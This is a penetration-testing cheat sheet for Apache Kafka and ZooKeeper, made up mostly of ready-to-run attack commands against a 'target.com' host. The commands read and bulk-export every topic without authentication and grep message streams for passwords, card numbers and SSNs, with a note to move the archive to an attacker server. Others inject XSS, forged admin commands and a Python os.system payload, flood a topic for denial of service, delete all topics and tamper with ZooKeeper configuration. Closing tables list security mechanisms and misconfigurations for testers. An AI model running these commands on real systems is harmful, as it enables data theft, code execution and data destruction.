Apache Kafka

Default Ports: 9092 (Broker), 9093 (SSL), 2181 (Zookeeper)

Apache Kafka is a distributed event streaming platform used for building real-time data pipelines and streaming applications. It's designed for high-throughput, fault-tolerant, and scalable message processing. Kafka is widely used in microservices architectures, log aggregation, real-time analytics, and event-driven systems. Misconfigured Kafka instances can expose sensitive data streams, allow message injection, and provide paths to compromise connected systems.

Connect

Using kafka-console-consumer

The console consumer allows you to read messages from Kafka topics in real-time.

Basic Message Consumption

# Consume from topic
kafka-console-consumer --bootstrap-server target.com:9092 --topic topic-name --from-beginning

# With consumer group
kafka-console-consumer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --group my-group \
  --from-beginning

# Consume latest messages only
kafka-console-consumer --bootstrap-server target.com:9092 --topic topic-name

Authenticated Consumption

# With authentication (if SASL enabled)
kafka-console-consumer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --consumer-property security.protocol=SASL_PLAINTEXT \
  --consumer-property sasl.mechanism=PLAIN \
  --consumer-property sasl.jaas.config='org.apache.kafka.common.security.plain.PlainLoginModule required username="user" password="password";'

Using kafka-console-producer

The console producer allows you to publish messages to Kafka topics.

Basic Message Production

# Produce messages to topic
kafka-console-producer --bootstrap-server target.com:9092 --topic topic-name

# Then type messages and press Enter
# Each line becomes a message

Advanced Production Methods

# From file
cat messages.txt | kafka-console-producer --bootstrap-server target.com:9092 --topic topic-name

# With key-value pairs
kafka-console-producer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --property "parse.key=true" \
  --property "key.separator=:"

Using kafkacat (kcat)

kafkacat is a versatile command-line Kafka producer and consumer.

Basic kafkacat Operations

# List metadata (topics, brokers)
kafkacat -b target.com:9092 -L

# Consume messages
kafkacat -b target.com:9092 -t topic-name -C

# Produce messages
echo "test message" | kafkacat -b target.com:9092 -t topic-name -P

Advanced kafkacat Features

# Consumer with offset
kafkacat -b target.com:9092 -t topic-name -C -o beginning

# JSON output
kafkacat -b target.com:9092 -t topic-name -C -J

Recon

Service Detection with Nmap

Use Nmap to detect Kafka brokers and check for open ports:

nmap -p 9092,9093,2181 -sV target.com

# Kafka banner grab
echo "." | nc target.com 9092 | xxd

# Zookeeper detection
echo "dump" | nc target.com 2181

Cluster Discovery

Kafka brokers can be discovered through various methods including DNS, Zookeeper, or direct connection.

# List brokers via kafkacat
kafkacat -b target.com:9092 -L

# Get broker IDs
kafkacat -b target.com:9092 -L | grep "broker"

# Check Zookeeper (if accessible)
echo "dump" | nc target.com:2181

Enumeration

Topic Enumeration

Topics are the core of Kafka's publish-subscribe model and often contain sensitive data streams.

List and Describe Topics

# List all topics
kafka-topics --bootstrap-server target.com:9092 --list

# Using kafkacat
kafkacat -b target.com:9092 -L | grep topic

# Topic details
kafka-topics --bootstrap-server target.com:9092 --describe --topic topic-name

# All topic configurations
kafka-topics --bootstrap-server target.com:9092 --describe

Topic Analysis

# Count messages in topic
kafka-run-class kafka.tools.GetOffsetShell \
  --broker-list target.com:9092 \
  --topic topic-name \
  --time -1

Consumer Group Enumeration

Consumer groups track which messages have been processed and can reveal active consumers.

List Consumer Groups

# List consumer groups
kafka-consumer-groups --bootstrap-server target.com:9092 --list

# Describe consumer group
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --describe --group group-name

# All groups
kafka-consumer-groups --bootstrap-server target.com:9092 --all-groups --describe

Consumer Group Analysis

# Check lag (unprocessed messages)
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --describe --group group-name \
  --members

Message Content Analysis

Examining message content can reveal sensitive data, credentials, and application logic.

Sensitive Data Search

# Consume and analyze messages
kafka-console-consumer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --from-beginning | grep -i "password\|secret\|token\|key"

Message Extraction and Analysis

# Save messages for offline analysis
kafkacat -b target.com:9092 -t topic-name -C -e > messages.txt

# Extract JSON messages
kafkacat -b target.com:9092 -t topic-name -C -J | jq .

# Count messages by pattern
kafkacat -b target.com:9092 -t topic-name -C | grep -c "error"

ACL and Permission Enumeration

Kafka Access Control Lists (ACLs) define who can access topics.

# List ACLs (requires authentication)
kafka-acls --bootstrap-server target.com:9092 --list

# ACLs for specific topic
kafka-acls --bootstrap-server target.com:9092 --list --topic topic-name

# Check if ACLs are enabled
# If no ACLs exist, Kafka may allow open access

Attack Vectors

No Authentication

Many Kafka installations lack authentication, allowing anyone to read/write messages.

Test Authentication

# Test if authentication is required
kafkacat -b target.com:9092 -L

# If broker list returns successfully, no auth required

Unauthorized Access

# Read all topics
for topic in $(kafkacat -b target.com:9092 -L | grep topic | awk '{print $2}'); do
  echo "[*] Topic: $topic"
  kafkacat -b target.com:9092 -t $topic -C -c 10
done

Message Injection

If you have producer access, you can inject malicious messages into topics.

Malicious Message Injection

# Inject malicious message
echo '{"user":"admin","action":"delete_all","confirmed":true}' | \
  kafkacat -b target.com:9092 -t commands -P

# Message poisoning for JSON consumers
echo '{"id":"<script>alert(1)</script>"}' | \
  kafkacat -b target.com:9092 -t user-events -P

# Inject code execution payload (if consumers eval messages)
echo '{"cmd":"__import__(\"os\").system(\"whoami\")"}' | \
  kafkacat -b target.com:9092 -t tasks -P

Denial of Service

# Flood topic with messages (DoS)
for i in {1..100000}; do
  echo "spam message $i" | kafkacat -b target.com:9092 -t topic -P
done

Message Interception

Reading sensitive data from Kafka topics without authorization can expose credentials, personal data, and business logic.

Topic Discovery

# Common sensitive topics to check
for topic in users passwords transactions payments logs audit events; do
  kafkacat -b target.com:9092 -t $topic -C -c 100 2>/dev/null && echo "[+] Found topic: $topic"
done

Real-time Monitoring

kafkacat -b target.com:9092 -t payment-events -C | \
  grep -i "credit_card\|ssn\|password"

Bulk Extraction

for topic in $(kafkacat -b target.com:9092 -L | grep topic | awk '{print $2}'); do
  kafkacat -b target.com:9092 -t $topic -C -e > "${topic}_messages.txt"
done

Zookeeper Exploitation

Kafka relies on Zookeeper for coordination - compromising Zookeeper compromises Kafka.

Zookeeper Access

# Connect to Zookeeper
echo "dump" | nc target.com:2181

# List Kafka nodes in Zookeeper
echo "ls /brokers/ids" | zkCli.sh -server target.com:2181

# Get broker information
echo "get /brokers/ids/0" | zkCli.sh -server target.com:2181

Configuration Manipulation

# Modify Kafka configuration via Zookeeper
echo "set /config/topics/topic-name {\"config\":{\"retention.ms\":\"1000\"}}" | zkCli.sh -server target.com:2181

Post-Exploitation

Data Exfiltration

Extracting all messages from Kafka for offline analysis.

Export All Topics

# Export all topics
for topic in $(kafkacat -b target.com:9092 -L | grep topic | awk '{print $2}'); do
  echo "[*] Exfiltrating topic: $topic"
  kafkacat -b target.com:9092 -t $topic -C -e -o beginning > "${topic}_export.json"
  # -e: exit when last message received
  # -o beginning: start from first message
done

Compress and Transfer

# Compress and transfer
tar czf kafka_exfil.tar.gz *_export.json
# Transfer to attacker server

Topic Deletion (DoS)

Deleting topics can cause application failures and data loss.

Single Topic Deletion

# Delete topic (if delete.topic.enable=true)
kafka-topics --bootstrap-server target.com:9092 --delete --topic topic-name

Mass Topic Deletion

# Delete all topics
for topic in $(kafka-topics --bootstrap-server target.com:9092 --list); do
  kafka-topics --bootstrap-server target.com:9092 --delete --topic $topic
done

Consumer Group Manipulation

Manipulating consumer group offsets can cause message reprocessing or skipping.

Offset Reset to Beginning

# Reset consumer group to beginning (reprocess all messages)
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --group group-name \
  --topic topic-name \
  --reset-offsets --to-earliest \
  --execute

Offset Reset to Latest

# Skip all unprocessed messages
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --group group-name \
  --topic topic-name \
  --reset-offsets --to-latest \
  --execute

Kafka Security Mechanisms

Security Mechanism	Description	Security Consideration
SASL/PLAIN	Authenticates clients using a username and password over the SASL protocol.	Weak passwords, credential reuse, or missing TLS protection can expose credentials to compromise.
SASL/SCRAM	Uses salted challenge-response authentication to securely verify client credentials.	Weak passwords remain susceptible to offline password-cracking if credential material is compromised.
SSL/TLS	Encrypts communication between Kafka brokers and clients while supporting certificate-based authentication.	Improper certificate validation, weak TLS configurations, or expired certificates reduce transport security.
Access Control Lists (ACLs)	Restrict access to topics, consumer groups, brokers, and administrative operations.	Overly permissive or misconfigured ACLs may allow unauthorized access to Kafka resources.
ZooKeeper ACLs	Protect access to ZooKeeper nodes used by legacy Kafka deployments.	Weak or missing ACLs can expose cluster metadata, broker information, and configuration details.
Mutual TLS (mTLS)	Authenticates both Kafka clients and brokers using X.509 certificates.	Poor certificate management or compromised client certificates may allow unauthorized access.
RBAC (Enterprise)	Provides role-based access control for administrative and operational tasks.	Excessive privileges or incorrect role assignments increase the attack surface.

Common Kafka Topic Naming Patterns

Topic Pattern	Common Contents	Security Consideration
*`user`*	User profiles, account information, and identity events	May contain personally identifiable information (PII) and user metadata.
*`auth`*	Authentication, login, logout, and authorization events	May expose authentication workflows, session data, or security events.
*`password`*	Password reset requests, credential updates, and recovery events	May contain highly sensitive credential-related information and should be carefully protected.
*`payment`*	Payment processing, billing, and financial transaction events	May expose payment metadata, transaction identifiers, or financial records.
*`log`*	Application, system, and service logs	May reveal stack traces, configuration details, API keys, or debugging information.
*`event`*	General application and system events	Often contains business logic, application workflows, or operational data.
*`transaction`*	Financial, inventory, or business transaction events	May disclose confidential business processes and transactional data.
*`audit`*	Audit logs, compliance records, and security events	May reveal privileged actions, administrative changes, and compliance-related information.

Useful Kafka Security Testing Tools

Tool	Description	Primary Use Case
kcat (formerly kafkacat)	Lightweight command-line Kafka producer, consumer, and metadata inspection tool.	Discovering brokers, enumerating topics, and inspecting Kafka messages
*Kafka Console Tools (`kafka-console-`)**	Official Apache Kafka command-line utilities for producing and consuming messages.	Testing message flow, validating topics, and troubleshooting Kafka deployments
`kafka-topics`	Administrative utility for managing Kafka topics and partitions.	Listing, describing, and managing Kafka topics
`kafka-consumer-groups`	Utility for managing and inspecting Kafka consumer groups.	Enumerating consumer groups, monitoring lag, and troubleshooting consumers
Burp Suite	Web application security testing platform and interception proxy.	Assessing Kafka REST Proxy deployments and API security controls
`zkCli.sh`	Apache ZooKeeper command-line client.	Inspecting ZooKeeper configuration and cluster metadata in legacy Kafka deployments
Nmap	Network discovery and service fingerprinting tool with NSE support.	Detecting Kafka brokers, ZooKeeper services, and exposed ports
Netcat (`nc`)	TCP/IP networking utility for manual connectivity testing.	Verifying broker accessibility and basic service responses

Security Misconfigurations to Test

❌ SASL authentication disabled
❌ ACL-based authorization not configured
❌ Plaintext communication enabled (SSL/TLS disabled)
❌ ZooKeeper accessible without authentication
❌ Kafka brokers exposed to untrusted or public networks
❌ Default Kafka ports externally accessible (9092, 9093, 2181)
❌ Automatic topic creation enabled (auto.create.topics.enable=true)
❌ Topic deletion enabled (delete.topic.enable=true)
❌ No encryption for data at rest
❌ Overly permissive Access Control Lists (ACLs)
❌ Audit logging disabled or insufficient
❌ Weak SASL credentials or insecure authentication mechanisms
❌ SSL/TLS certificate validation disabled
❌ Outdated or unsupported Kafka/ZooKeeper version
❌ Sensitive data (credentials, API keys, PII) stored in Kafka topics
❌ Consumer groups granted excessive privileges
❌ Missing network segmentation or firewall restrictions
❌ Default or insecure broker configuration

Connect​

Using kafka-console-consumer​

Basic Message Consumption​

Authenticated Consumption​

Using kafka-console-producer​

Basic Message Production​

Advanced Production Methods​

Using kafkacat (kcat)​

Basic kafkacat Operations​

Advanced kafkacat Features​

Recon

Service Detection with Nmap​

Banner Grabbing​

Cluster Discovery​

Enumeration

Topic Enumeration​

List and Describe Topics​

Topic Analysis​

Consumer Group Enumeration​

List Consumer Groups​

Consumer Group Analysis​

Message Content Analysis​

Sensitive Data Search​

Message Extraction and Analysis​

ACL and Permission Enumeration​

Attack Vectors

No Authentication​

Test Authentication​

Unauthorized Access​

Message Injection​

Malicious Message Injection​

Denial of Service​

Message Interception​

Topic Discovery​

Real-time Monitoring​

Bulk Extraction​

Zookeeper Exploitation​

Zookeeper Access​

Configuration Manipulation​